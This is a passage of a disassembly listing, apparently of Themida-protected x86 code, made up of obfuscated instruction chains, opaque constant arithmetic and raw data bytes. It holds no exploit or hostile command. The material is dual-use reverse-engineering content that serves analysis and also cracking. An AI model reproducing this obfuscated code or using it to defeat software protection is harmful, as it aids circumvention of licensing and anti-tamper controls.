		sub	ecx, 24C336E2h
		add	dword ptr [ecx], 1
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_551900
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 89525224h, 4C281E2h,	83000000h, 148704EAh, 0DDEDE924h
		dd 8853FFFFh, 5BFC88F7h, 29A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5546F1:				; CODE XREF: Themida_:005532EFj
		add	esp, 4
		push	eax
		push	7903h
		mov	[esp], ebx
		jmp	loc_55C3F7
; ---------------------------------------------------------------------------
aBPiqBPiqZbDKs	db '│,$╞IО~[│ц╞IО~Z│г└[пKИ){',0
		align 4
aUs		db 'UИ©*',0
		align 2
		dw 5966h
		dd 0CB80C3FEh, 88B4501Ch, 458E300h, 960417h, 96B151D8h
		dd 6659C828h, 2C17B353h, 4D82899h, 1C8B6699h, 0E1895124h
		dd 4C181h, 0C1810000h, 2, 0E9240C87h, 4363h, 0CD9311BFh
		dd 5FFD29D6h, 0FFDABEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55476D:				; CODE XREF: Themida_:00557D61j
		push	2289h
		mov	[esp], edx
		jmp	loc_55D0F8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2ABB5304h, 0E9671E2Ah, 58B9h, 34FF1101h, 0FD4CE924h
		dd 0EB80FFFFh, 0A5EB808Bh, 6C8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55479D:				; CODE XREF: Themida_:00555B26j
		inc	edx
		sub	edx, 7F646E7h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_558432
; ---------------------------------------------------------------------------

loc_5547B8:				; CODE XREF: Themida_:0055BFCAj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_552881
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 6054h, 4EC81h, 3C890000h, 270E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5547E6:				; CODE XREF: Themida_:0055A807j
		pop	esp
		mov	eax, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	244Dh
		jmp	loc_5585B1
; ---------------------------------------------------------------------------
		db 0B9h, 0A0h, 0A9h
		dd 40E97C1Ch, 88000087h, 5BDE88CBh, 592434FFh, 4C481h
		dd 0EB800000h, 80F32899h, 8B6699C3h, 0C4812414h, 2, 0FFCDD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554835:				; CODE XREF: Themida_:0055C99Ej
		sub	ch, 0CFh
		push	eax
		mov	al, 0AAh
		jmp	loc_5548DB
; ---------------------------------------------------------------------------

loc_554840:				; CODE XREF: Themida_:00555631j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_55BCC0
		push	edx
		push	ecx
		push	184241D6h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A47E
; ---------------------------------------------------------------------------
aMhcd		db '╛hФd',0
		align 4
		dd 7FAFE9h, 0CC38100h, 816A016Ch, 9D446BF3h, 14BF5700h
		dd 4F080F69h, 4144E9h, 56555000h, 57054EBEh, 5CB95102h
		dd 8122823Ch, 7E3306E1h, 7AD5E926h, 0C2010000h,	2B86E9h
		dd 41F0400h, 2CD80093h,	2AB55193h, 10B353h, 0CD805BDDh
		dd 0E5C58038h, 459E828h, 6D8A68A1h, 0B7E90000h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5548DB:				; CODE XREF: Themida_:0055483Bj
		xor	al, 0E8h
		not	al
		not	al
		xor	al, 1Ah
		not	al
		push	ecx
		jmp	loc_5566B8
; ---------------------------------------------------------------------------
		db 81h
		dd 0A33C2CDh, 0C5814D7Dh, 9C8FBDD0h, 0E907EDC1h, 51F9h
		dd 535AF028h, 0CFFE32B7h, 6E50E951h, 248B0000h,	14B8E924h
		dd 0C8B0000h, 0BBE95024h, 89FFFFE6h, 0BA522424h, 4, 2955E9h
		dd 0CA36E900h, 0C89FFFFh, 55D26824h, 24890000h,	370FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554942:				; CODE XREF: Themida_:00551A86j
		push	edx
		jmp	loc_559461
; ---------------------------------------------------------------------------

loc_554948:				; CODE XREF: Themida_:0055BCCEj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 47771E82h
		jmp	loc_55BB6B
; ---------------------------------------------------------------------------

loc_55495C:				; CODE XREF: Themida_:00558E84j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	ebx
		mov	bl, 65h
		mov	ah, 59h
		jmp	loc_556E61
; ---------------------------------------------------------------------------

loc_554971:				; CODE XREF: Themida_:0055CEB7j
		add	ch, al
		add	ch, 0F0h
		jmp	loc_5517A7
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240401h, 0FFC9E3E9h, 39ED81FFh, 290E3422h,	39C581DDh
		dd 0FF0E3422h, 0E95B2434h, 35EEh, 0E95FFD01h, 6202h, 7035D8F7h
		dd 180FBB1h, 0DDE958C7h, 66000062h, 5224048Bh, 12BCE9h
		dd 8BE88900h, 0C483242Ch, 0E0D14804h, 0DD5E3705h, 0BF57517Bh
		dd 1A470D14h, 4747D7F7h, 81FFEF83h, 4342AFEFh, 44C78140h
		dd 8981496Bh, 3386E9F9h, 68500000h, 5217h, 0B9240C89h
		dd 156748F2h, 8CE98141h, 8165A621h, 374D62C1h, 8BC1813Bh
		dd 0C1628433h, 0F18104E1h, 97E5C5B3h, 0C8BC889h, 4C48324h
		dd 2292E940h, 0EC830000h, 241C8904h, 0E1E9FB89h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_554A33:				; CODE XREF: Themida_:0055ABE5j
		shr	ch, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_554F3B
; ---------------------------------------------------------------------------
		db 58h,	5Eh, 0B8h
		dd 12772AADh, 835DE801h, 0E8C101E8h, 55A5E907h,	44680000h
		dd 5F28C95Fh, 4702E7C1h, 2A53BB53h, 0E3C147C6h,	81D3F708h
		dd 0D94210E3h, 81D3F75Eh, 3ECD80F3h, 5BDF29DCh,	23C5C781h
		dd 0F889032Dh, 0E0C1485Fh, 7C4F0D04h, 6D3541B3h, 81F5B7FEh
		dd 683B38EFh, 55C70116h, 251ABA52h, 0C2815E85h,	5EA47733h
		dd 4944EA81h, 0D58975F4h, 0C5814D5Ah, 6F6257DDh, 52C58145h
		dd 15FD090h, 34FF5DEFh,	9BE95824h, 0B9000039h, 7C71788Ah
		dd 7B575E2Dh, 0E9C8296Eh, 0FFFFC956h, 4EFEF81h,	335E3777h
		dd 12E9243Ch
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554AEB:				; CODE XREF: Themida_:0055D41Bj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	ebp, edx
		jmp	loc_55A51A
; ---------------------------------------------------------------------------
		db 56h
		dd 9918AA68h, 0F6815E22h, 2299188Eh, 37B36856h,	2C890000h
		dd 31BDBD24h, 6C81721Dh, 50E80424h, 6C016216h, 44810424h
		dd 50E80424h, 2C8B6216h, 4C48124h, 0E9000000h, 26C2h, 637520B9h
		dd 81D1F73Fh, 637525C1h, 76E6E93Fh, 4FB80000h, 0C147905Eh
		dd 263504E0h, 518B078h,	65FC372Dh, 7FBA5248h, 0E96AD37Ch
		dd 0FFFFF6C9h, 4B8h, 25ED8100h,	2932D01Ah, 25C581C5h, 0E932D01Ah
		dd 0FFFFD9D0h, 0FF2434FFh, 0A8E92434h, 83FFFFE5h, 348904ECh
		dd 0E95E5424h, 0FFFFD2D2h, 0E924048Bh, 1E08h
; ---------------------------------------------------------------------------

loc_554BA0:				; CODE XREF: Themida_:00554134j
		xchg	esi, [esp]
		pop	esp
		inc	ebx
		xor	ebx, 0F9E3AD4Ch
		jmp	loc_559EC9
; ---------------------------------------------------------------------------

loc_554BB0:				; CODE XREF: Themida_:0055A222j
		push	ebx
		push	0
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, ecx
		add	[ebx], eax
		mov	ebx, [esp]
		push	esi
		jmp	loc_555702
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CDh
		dd 5875B53Eh, 2C281h, 14330000h, 24143124h, 2822E9h, 0E9C38900h
		dd 3419h, 31241C33h, 1C33241Ch,	8B665C24h, 54512404h, 4BE5659h
		dd 0E9000000h, 0FF6h, 88C3C180h, 0D80059CBh, 0B3535B66h
		dd 0B1C38012h, 0DBF6CBFEh, 0C006C380h, 0F38006E3h, 1DEBE9F5h
		dd 66530000h, 0E954BF68h, 0FFFFDF11h, 802ACC80h, 0E628C6ECh
		dd 927E9h, 34E95400h, 0FF00006Ch, 0C71AE930h, 0CF01FFFFh
		dd 74FF5759h, 8F5F0424h, 248B2404h, 24043024h, 0C702E99Ch
		dd 295FFFFFh, 0CCC181F1h, 5E603147h, 0C8BC831h,	4C48124h
		dd 68000000h, 5A28h, 81240C89h,	4ECh, 24348900h, 3B80E9h
		dd 4BF5700h, 1000000h, 4335FF8h, 24043124h, 5C240433h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 3746h
		dd 0C44B92B9h, 11BF576Bh, 17A804Ah, 5F08247Ch, 4244481h
		dd 5EFF5FACh, 4244C01h,	5FACBE56h, 74295EFFh, 815E0824h
		dd 1104246Ch, 597A804Ah, 81240401h, 4B92242Ch, 27686BC4h
		dd 0E9000056h, 7BA2h, 0E904E3C1h, 1D77h, 516EC680h, 0CE003CB1h
		dd 98C68059h, 0F028DD04h, 514768h, 240C8900h, 545AE9h
		dd 24048100h, 386F3AF4h, 0F4EF815Fh, 5A386F3Ah,	0B5FF821h
		dd 2E840FC0h, 5000000Ah, 2D9468h, 0CC06E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D4A:				; CODE XREF: Themida_:00552019j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_555DC0
; ---------------------------------------------------------------------------

loc_554D57:				; CODE XREF: Themida_:0055819Cj
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		add	ch, 0FFh
		push	eax
		mov	al, 77h
		jmp	loc_552DB9
; ---------------------------------------------------------------------------
		dd 5212B050h, 3A5C68h, 0AE5E900h, 0D0280000h, 4D8005Ah
		dd 527404E6h, 883FB353h, 0F2805BDAh, 0B8CA8056h, 0C0E9DAF6h
		dd 0B7000050h, 0E9CFFEE0h, 7E12h, 5B5FFA89h, 148BD101h
		dd 0D07CE924h, 9268FFFFh, 8900002Fh, 6856243Ch,	2A936C16h
		dd 6EC6815Eh, 0F7628D69h, 0EDEE81DEh, 89F3E7D7h, 0F7815EF7h
		dd 5EEC5031h, 48E1E9h, 26800h, 0B7E90000h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554DE3:				; CODE XREF: Themida_:00553319j
		push	dword ptr [esp]
		jmp	loc_55C855
; ---------------------------------------------------------------------------

loc_554DEB:				; CODE XREF: Themida_:0055A91Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_554F81
; ---------------------------------------------------------------------------
		db 0BFh, 17h, 4Ch
		dd 0A6681AECh, 89000027h, 8CE9241Ch, 0D3000018h, 0E99C242Ch
		dd 0FFFFDBC6h, 5F5BDD89h, 303AE9h
		db 0
; ---------------------------------------------------------------------------

loc_554E1D:				; CODE XREF: Themida_:005576BBj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 81h
		dd 86F7DCF7h, 0FB62E94Eh, 148BFFFFh, 4C48324h, 4C281h
		dd 0C2810000h, 2, 3A8168h, 242C8900h, 0C581E589h, 4, 0FCD6E951h
		dd 0F229FFFFh, 725E9h, 14895C00h, 54AE924h, 0D7010000h
		dd 6FBCEF81h, 0C781267Bh, 3A923022h, 2258E9h, 24248B00h
		dd 4AB0F66h, 0D5E99C24h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E93:				; CODE XREF: Themida_:0055A1ECj
		xor	[esp+4], edi
		mov	edi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_553F44
; ---------------------------------------------------------------------------
		db 59h
		dd 0F4CDC281h, 0F6E93FC2h, 0FFFFFFC4h, 2FE92434h, 0FF00007Fh
		dd 48B2434h, 2B24E924h,	4870000h, 0CF53E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554ECE:				; CODE XREF: Themida_:00554395j
		dec	byte ptr [esp]
		not	byte ptr [esp]
		pop	edx
		push	4D82h
		mov	[esp], ebx
		mov	bl, 35h
		shl	bl, 3
		sub	bl, 0ADh
		jmp	loc_5535D5
; ---------------------------------------------------------------------------
		dw 0EE88h
		dd 592434FFh, 0E9E08950h, 5DA6h, 9C241CF6h, 0FFC467E9h
		dd 0C3315CFFh, 0E9008F66h, 0FFFFC45Ch, 13E9D029h, 81FFFFE0h
		dd 37E0ABF2h, 5AD0312Fh, 572BE56h, 0C68154E2h, 32F44362h
		dd 0E949CE87h, 1731h, 0CABBB53h, 6CE91097h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F3B:				; CODE XREF: Themida_:00554A3Cj
		mov	ah, ch
		not	ah
		mov	ch, ah
		pop	eax
		push	edx
		mov	dl, 0C4h
		neg	dl
		xor	dl, 2Dh
		sub	dl, 2Fh
		jmp	loc_554344
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 56575DE8h,	4BEh, 0E9F78900h, 0FFFFF2C3h, 0E9A4C380h
		dd 13F0h
; ---------------------------------------------------------------------------

loc_554F70:				; CODE XREF: Themida_:0055C001j
		mov	edx, [esp]
		add	esp, 4
		add	esi, 3F8B344Eh
		jmp	loc_55A535
; ---------------------------------------------------------------------------

loc_554F81:				; CODE XREF: Themida_:00554DF4j
		add	ebx, 4
		jmp	loc_55C4EF
; ---------------------------------------------------------------------------
		dd 43A1E981h, 0ED812696h, 3E760136h, 0C581CD01h, 3E760136h
		dd 83240C8Bh, 0E92904C4h, 317BE9h, 59CB8800h, 685BDD88h
		dd 133Eh, 52240489h, 23E9EE88h,	5DFFFFF7h, 42EF6866h, 0FFE2C4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554FCD:				; CODE XREF: Themida_:00556988j
		inc	ebx
		sub	ebx, 5BC6488Fh
		sub	ebx, 2C41D6DEh
		add	ebp, ebx
		pop	ebx
		xor	ebp, 1D754045h
		push	ebx
		mov	ebx, 37B12D7Bh
		sub	ebx, 25364B21h
		dec	ebx
		not	ebx
		push	eax
		mov	eax, 0FC286C59h
		xor	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		mov	edx, ebp
		jmp	loc_55769E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5904h, 1FE95C24h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555013:				; CODE XREF: Themida_:0055A483j
		xor	ecx, ebx
		pop	ebx
		jmp	loc_55297D
; ---------------------------------------------------------------------------
		db 80h
		dd 82048BE9h, 2AB5E9h, 0FBEE8100h, 0FF3E5852h, 835B2434h
		dd 1C8904ECh, 51E38924h, 2C7841B9h, 6E1C14Eh, 5364E981h
		dd 0C1815A26h, 32E35F28h, 4C5EC181h, 0E1810DE1h, 51520B6Fh
		dd 85EBF57h, 0F9295110h, 8BCB015Fh, 0C481240Ch,	4, 1BB9E9h
		dd 241C3100h, 8B241C33h, 0A4E92424h, 5F000079h,	685AD601h
		dd 62B4h, 0BA241489h, 4, 7AB6E9h, 99F38000h, 1C8BDA88h
		dd 4C48124h, 80000000h,	0D728F5C7h, 0E9F5EF80h,	32B4h
; ---------------------------------------------------------------------------

loc_5550B0:				; CODE XREF: Themida_:0055C187j
		inc	esi
		jmp	loc_55CA9C
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 68000000h,	0
		dd 0FFCDFAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5550C9:				; CODE XREF: Themida_:0055514Ej
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	edx
		push	ebx
		jmp	loc_553E8B
; ---------------------------------------------------------------------------
		db 1
		dd 0C968E9FAh, 0E8D1FFFFh, 0E8C1D8F7h, 40E95607h, 0FF000043h
		dd 0C5B1E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5550F2:				; CODE XREF: Themida_:0055271Fj
		mov	[esp], ebp
		push	9B5h
		mov	[esp], ebx
		push	3102379Ch
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_559648
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4EC81h, 5E90000h,	0FF000052h, 0B8E92434h,	29000045h
		dd 85E95EF0h, 8B000075h, 0C481242Ch, 4,	3B7AE9h, 3BB26800h
		dd 0CFE90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55514B:				; CODE XREF: Themida_:00557B3Fj
		mov	[esp], ebx
		jmp	loc_5550C9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 44C58100h, 813FB77Fh, 676C89EDh, 57DD293Bh, 5660E9h
		dd 5B4C2C00h, 1704D800h, 8184B353h, 4ECh, 24048900h, 7897E9h
		db 0
; ---------------------------------------------------------------------------

loc_555185:				; CODE XREF: Themida_:00556289j
		inc	eax
		add	eax, 5A2E384Fh
		jmp	loc_555B0C
; ---------------------------------------------------------------------------
		dd 8102EBC1h, 1C3h, 8E3C100h, 72BBE943h, 0C3800000h, 80D300B6h
		dd 205AB6EBh, 3200E9D8h, 8B660000h, 0E3E9240Ch,	8100003Dh
		dd 0E86A6DCEh, 0D8EE8152h, 8113222Eh, 0E2A96E6h, 3E6C134h
		dd 8B0F681h, 0F50116D5h, 73F3E95Eh, 148B0000h, 4C48324h
		dd 50240C8Bh, 2EA7E9h, 48B6600h, 3E946824h, 1C890000h
		dd 0EC86824h, 24890000h, 24048124h, 4, 4C3815Bh, 81000000h
		dd 4ECh, 243C8900h, 2BFh, 0D7BA5200h, 81656840h, 44E388C2h
		dd 5AD329E4h, 10E9EB81h, 0C381061Fh, 6CD30EFAh,	0FFD15CE9h
		dd 681B68FFh, 25E90000h, 20FFFFEBh, 516658E3h, 0EB3033B5h
		dd 0FFF4CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555255:				; CODE XREF: Themida_:0055B03Cj
		add	esp, 4
		sub	[edi+24h], eax
		pop	eax

loc_55525F:				; CODE XREF: Themida_:005573ABj
		push	7E2Bh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55A1DE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95D2434h, 0FFFFD646h
; ---------------------------------------------------------------------------

loc_555278:				; CODE XREF: Themida_:0055785Aj
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55B35A
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 5C241C87h, 5DCB68h, 24348900h, 8292E9h, 148B5400h, 4EC8124h
		dd 89000000h, 15682404h, 89000019h, 4832424h, 68580424h
		dd 5B5Eh, 0E9243489h, 198Fh, 4C4835Ch, 0FFC09FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5552C9:				; CODE XREF: Themida_:005544A3j
		push	80000h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55AC65
; ---------------------------------------------------------------------------
		dw 0ECC0h
		dd 72F48007h, 0E1885153h, 8859CF88h, 48B5BFDh, 4C48124h
		dd 2C000000h, 4E82832h,	30596632h, 480E68C3h, 4890000h
		dd 3FCB824h, 0EC830000h, 24348904h, 4EC81h, 14890000h
		dd 778BBA24h, 0EAC121FBh, 3CEA8107h, 81584501h,	0CFC78CF2h
		dd 8BD6899Bh, 0C4812414h, 4, 0D0E5E952h, 0E1C1FFFFh, 97C18105h
		dd 57315E73h, 5D7CBA52h, 0EFBF2982h, 31262980h,	0F9315AD7h
		dd 8BCA015Fh, 78E9240Ch, 6600002Fh, 51240C8Bh, 0C181E189h
		dd 4, 13C4E9h
		db 0
; ---------------------------------------------------------------------------

loc_555381:				; CODE XREF: Themida_:0055D0FFj
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55B861
; ---------------------------------------------------------------------------
		db 2Dh,	34h, 1Ch
		dd 0DF05036Eh, 29556F20h, 20DF2DD8h, 0EC81556Fh, 4, 83241C89h
		dd 148904ECh, 4EC8324h,	0E9242C89h, 0FFFFFB74h,	0A5E99C50h
		dd 31FFFFBFh, 3C33243Ch, 0C3315C24h, 95E930FFh,	1FFFFBFh
		dd 127105E8h, 0E95D351Fh, 6D91h, 0E99CC885h, 0FFFFBF80h
; ---------------------------------------------------------------------------

loc_5553E8:				; CODE XREF: Themida_:00553A0Aj
		mov	[esp], ebx
		push	22DF3F26h
		pop	ebx
		add	ebx, 71023AAh
		jmp	loc_55568B
; ---------------------------------------------------------------------------
		dd 2E8C158h, 2B168h, 242C8900h,	173500BDh, 3349E90Dh, 1590000h
		dd 64A2DF8h, 0D4E91B70h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55541F:				; CODE XREF: Themida_:005580E2j
		add	esi, edx
		pop	edx
		jmp	loc_555583
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFFBF38h, 5DE9EA86h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_555437:				; CODE XREF: Themida_:005568DCj
		dec	eax
		sub	eax, 0E960A3h
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	3E76h
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		jmp	loc_55583A
; ---------------------------------------------------------------------------

loc_555459:				; CODE XREF: Themida_:00551B91j
		push	388Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55734B
; ---------------------------------------------------------------------------
		dd 0B4EF8159h, 14B1F02h, 0B4C781CFh, 504B1F02h,	0A806C9B8h
		dd 758B356Dh, 0E5057D9Fh, 0F716D45Bh, 5D0F7D8h,	145F9B02h
		dd 5958C701h, 5C243C87h, 24042966h, 0BEBAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5554AE:				; CODE XREF: Themida_:00552E33j
		push	ebp
		push	54DE49C1h
		jmp	loc_556AD2
; ---------------------------------------------------------------------------

loc_5554B9:				; CODE XREF: Themida_:0055B312j
		sub	eax, 2E1544Eh
		add	eax, 39114E9Ah
		xor	eax, 48D0612Ch
		and	eax, 5235DCAh
		jmp	loc_55D16D
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFBE90h, 0D008EEC0h, 0FE5266E6h, 66012444h, 2FF6805Ah
		dd 805AF108h, 526631F1h, 0D1305CB2h, 0E9535A66h, 0FFFFF89Bh
		dd 0F8B0505Ah, 655BE9h,	0C7815800h, 3B286008h, 542DE950h
		dd 6C810000h, 790F0424h, 94E92A77h, 1FFFFDCh, 0ACE958C5h
		dd 0C1FFFFC4h, 0DDE904E5h, 83FFFFBFh, 348904ECh, 68E68924h
		dd 9E4h, 0E9241C89h, 0FFFFC2C9h, 24048B66h, 4EC81h, 14890000h
		dd 74E36824h, 24890000h, 24048324h, 72685A04h, 0E9000069h
		dd 597Dh, 0F0885058h, 0FCE9C188h, 59000067h, 0B904B604h
		dd 83241C8Bh, 0E4E904C4h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555583:				; CODE XREF: Themida_:00555422j
		add	esi, 6DCC5459h
		jmp	loc_5580E7
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 83000000h,	3C8904ECh, 61F0BF24h, 0FA014B53h
		dd 89EA815Fh, 1785D52h,	89C281C2h, 81785D52h, 5361F0EAh
		dd 3EBE564Bh, 83350B17h, 0C681FFEEh, 3ECE106Ch,	1E1ABD55h
		dd 0ED81776Ch, 11482E7Fh, 0D627ED81h, 0EE0108D9h, 1EF6815Dh
		dd 1D2815Dh, 7DE95EF2h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5555EB:				; CODE XREF: Themida_:0055D115j
		add	esp, 4

loc_5555EE:				; CODE XREF: Themida_:00556331j
					; Themida_:0055A22Fj
		push	201Ch
		mov	[esp], edx
		mov	edx, 24h
		push	eax
		push	5271h
		mov	[esp], edi
		mov	edi, 47DE3F0Ch
		push	eax
		push	ebx
		mov	ebx, 7E9E72B4h
		mov	eax, 8CA47698h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, edi
		mov	eax, edx
		jmp	loc_5535DD
; ---------------------------------------------------------------------------

loc_55562A:				; CODE XREF: Themida_:0055A93Aj
		pop	esi
		add	ebx, 0D929FAAFh
		jmp	loc_554840
; ---------------------------------------------------------------------------

loc_555636:				; CODE XREF: Themida_:0055996Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558B45
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 0
		dd 81FFFFEEh, 4EFh, 243C8700h, 2424895Ch, 4240483h, 8B2434FFh
		dd 0C4812404h, 4, 4C481h, 0E9550000h, 0FFFFE086h, 240C8B66h
		dd 60CA68h, 5B1FE900h, 0E6810000h, 7D11421h, 0C5E9D6F7h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55568B:				; CODE XREF: Themida_:005553F7j
		and	ebx, 334701B8h
		add	ebx, 247508F5h
		push	ebx
		xor	dword ptr [esp], 3CC114BFh
		pop	ecx
		xor	ecx, 3CC114BFh
		mov	ebx, [esp]
		jmp	loc_556B34
; ---------------------------------------------------------------------------

loc_5556AE:				; CODE XREF: Themida_:00557501j
		push	esp
		jmp	loc_558C9B
; ---------------------------------------------------------------------------
		dd 0E9241489h, 4C50h, 876572BDh, 0B7F58146h, 8148E174h
		dd 3C4BDCCDh, 10B8504Eh, 0C16DB45Dh, 2EE908E0h,	5100002Eh
		dd 0B850E189h, 276970AFh, 5425D0F7h, 4020766Eh,	9E2DE0D1h
		dd 1002C1Ch, 0E98358C1h, 240C8704h, 2E6CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555702:				; CODE XREF: Themida_:00554BC8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_559D97
; ---------------------------------------------------------------------------

loc_555715:				; CODE XREF: Themida_:00551E08j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bh, 8Ch
		mov	ch, 0E8h
		sub	ch, 36h
		add	ch, 0CFh
		add	ch, 0FAh
		jmp	loc_55C999
; ---------------------------------------------------------------------------

loc_555731:				; CODE XREF: Themida_:00553554j
		add	ebx, eax
		pop	eax
		add	ecx, 65BA0186h
		add	ecx, ebx
		jmp	loc_5567D5
; ---------------------------------------------------------------------------

loc_555741:				; CODE XREF: Themida_:0055A6CCj
		mov	[esp], ebx
		jmp	loc_556B7A
; ---------------------------------------------------------------------------

loc_555749:				; CODE XREF: Themida_:00552A0Fj
		mov	esp, [esp]
		jmp	loc_5584C6
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 0CDh
		dd 0F480CCFEh, 0F4D6E944h, 0C201FFFFh, 3D8AE9h,	242C8B00h
		dd 3526E9h, 4EC8100h, 89000000h, 15E9242Ch, 100003Ah, 0C1835EF1h
		dd 12BDE904h, 50590000h, 0E95BB753h, 14F5h, 0BF243C89h
		dd 63FA7D78h, 61517C05h, 2DF80110h, 1061517Ch, 0FFD291E9h
		dd 538568FFh, 2C890000h, 2C8B5424h, 4C48124h, 81000000h
		dd 4C5h, 4EC8100h, 89000000h, 4BE2434h,	0E9000000h, 4113h
; ---------------------------------------------------------------------------

loc_5557D4:				; CODE XREF: Themida_:0055B246j
		xor	dword ptr [esp], 3FA067B3h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B3D6
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 29000000h, 1C8758C3h, 0C895C24h, 2474FF24h, 6637E904h
		dd 0DE010000h, 4C6815Bh, 33000000h, 34312434h, 24343324h
		dd 8124248Bh, 4ECh, 24148900h, 0B850E289h, 4, 6AE9C201h
		dd 8B00004Dh, 0C481242Ch, 4, 0BB2EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55583A:				; CODE XREF: Themida_:00555454j
		pop	ebx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 8FA6DE3h
		not	eax
		jmp	loc_5591CA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048B00h, 8304C483h, 0EAE904ECh, 8900002Ch, 0FAB1240Ch
		dd 8059CE88h, 0BAE95EC6h, 66FFFFE0h, 8324148Bh,	0F58002C4h
		dd 0E2B3531Fh, 66E5EB80h, 94B252h, 815A66D3h, 4ECh, 24048900h
		dd 0C0FE54B0h, 9304712Ch, 8058C320h, 0ED800CEBh, 80DD288Ah
